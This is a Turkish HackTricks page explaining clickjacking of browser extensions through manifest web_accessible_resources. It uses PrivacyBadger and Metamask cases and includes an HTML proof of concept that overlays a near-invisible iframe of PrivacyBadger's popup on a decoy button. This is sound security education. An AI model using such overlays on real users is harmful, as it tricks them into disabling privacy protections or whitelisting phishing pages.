BrowExt - ClickJacking

AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Bu sayfa, bir Tarayıcı eklentisindeki ClickJacking zafiyetini kötüye kullanacaktır. ClickJacking nedir bilmiyorsanız şuraya bakın:

pageClickjacking

Uzantılar manifest.json dosyasını içerir ve bu JSON dosyasında bir web_accessible_resources alanı bulunmaktadır. Chrome belgelerinde şöyle denir:

Bu kaynaklar daha sonra chrome-extension://[PAKET KİMLİĞİ]/[YOL] URL'si aracılığıyla bir web sayfasında kullanılabilir, bu URL **extension.getURL yöntemiyle oluşturulabilir. İzin verilen kaynaklar uygun CORS başlıkları ile sunulur, bu nedenle XHR gibi mekanizmalar aracılığıyla erişilebilir.1

Tarayıcı uzantısındaki web_accessible_resources, sadece web üzerinden erişilebilir değildir; aynı zamanda uzantının doğal ayrıcalıklarıyla çalışır. Bu, şunları yapabilirler demektir:

  • Uzantının durumunu değiştirebilir

  • Ek kaynaklar yükleyebilir

  • Belirli bir ölçüde tarayıcı ile etkileşime geçebilir

Ancak, bu özellik bir güvenlik riski oluşturur. Eğer web_accessible_resources içindeki bir kaynak önemli bir işlevselliğe sahipse, saldırgan bu kaynağı harici bir web sayfasına gömebilir. Bu sayfayı ziyaret eden şüphesiz kullanıcılar, bu gömülü kaynağı yanlışlıkla etkinleştirebilirler. Bu etkinleştirme, uzantının kaynaklarının izinlerine ve yeteneklerine bağlı olarak istenmeyen sonuçlara yol açabilir.

PrivacyBadger Örneği

PrivacyBadger uzantısında, skin/ dizininin aşağıdaki şekilde web_accessible_resources olarak tanımlandığı bir zafiyet tespit edildi (Orijinal blog yazısına bakın):

"web_accessible_resources": [
"skin/*",
"icons/*"
]

Bu yapılandırma potansiyel bir güvenlik sorununa yol açtı. Özellikle tarayıcıda GizlilikKösteği simgesiyle etkileşim sonucu oluşturulan skin/popup.html dosyası, bir iframe içine yerleştirilebilirdi. Bu gömme, kullanıcıları yanlışlıkla "Bu Web Sitesi İçin GizlilikKösteği'ni Devre Dışı Bırak" üzerine tıklamaya aldatmak için sömürülebilirdi. Bu eylem, GizlilikKösteği korumasını devre dışı bırakarak kullanıcının gizliliğini tehlikeye atabilir ve kullanıcıyı artan izleme riskine maruz bırakabilirdi. Bu saldırının görsel bir gösterimi, https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm adresinde sağlanan ClickJacking video örneğinde görülebilir.

Bu zafiyeti ele almak için basit bir çözüm uygulandı: web_accessible_resources listesinden /skin/*'nin kaldırılması. Bu değişiklik, skin/ dizininin içerişinin web erişilebilir kaynaklar aracılığıyla erişilemeyeceğini veya manipüle edilemeyeceğini sağlayarak riski etkili bir şekilde azalttı.

Düzeltme kolaydı: web_accessible_resources listesinden /skin/*'yi kaldırın.

PoC

<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->

<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}

#stuff {
float: top;
position: absolute;
}

button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}

</style>

<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>

<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>

Metamask Örneği

Metamask'ta bir ClickJacking hakkında bir blog yazısı burada bulunabilir. Bu durumda, Metamask, erişim için kullanılan protokolün https: veya http: olduğunu kontrol ederek (örneğin chrome: değil):

Metamask uzantısında başka bir ClickJacking düzeltildi. Kullanıcılar, sayfanın “web_accessible_resources”: [“inpage.js”, “phishing.html”] nedeniyle dolandırıcılık olabileceğinden şüphelendiğinde Tıklamayla beyaz listeye ekleme yapabiliyorlardı. Bu sayfa Clickjacking'e karşı savunmasız olduğundan, saldırgan kurbanın fark etmeden beyaz listeye eklemesini sağlamak için normal bir şey göstererek istismar edebilir ve ardından beyaz listeye alınacak olan dolandırıcılık sayfasına geri dönebilirdi.

Steam Envanter Yardımcısı Örneği

Bir tarayıcı uzantısındaki bir XSS'nin bir ClickJacking zafiyeti ile nasıl birleştirildiğini kontrol etmek için aşağıdaki sayfaya bakın:

pageBrowExt - XSS Example

Referanslar

Last updated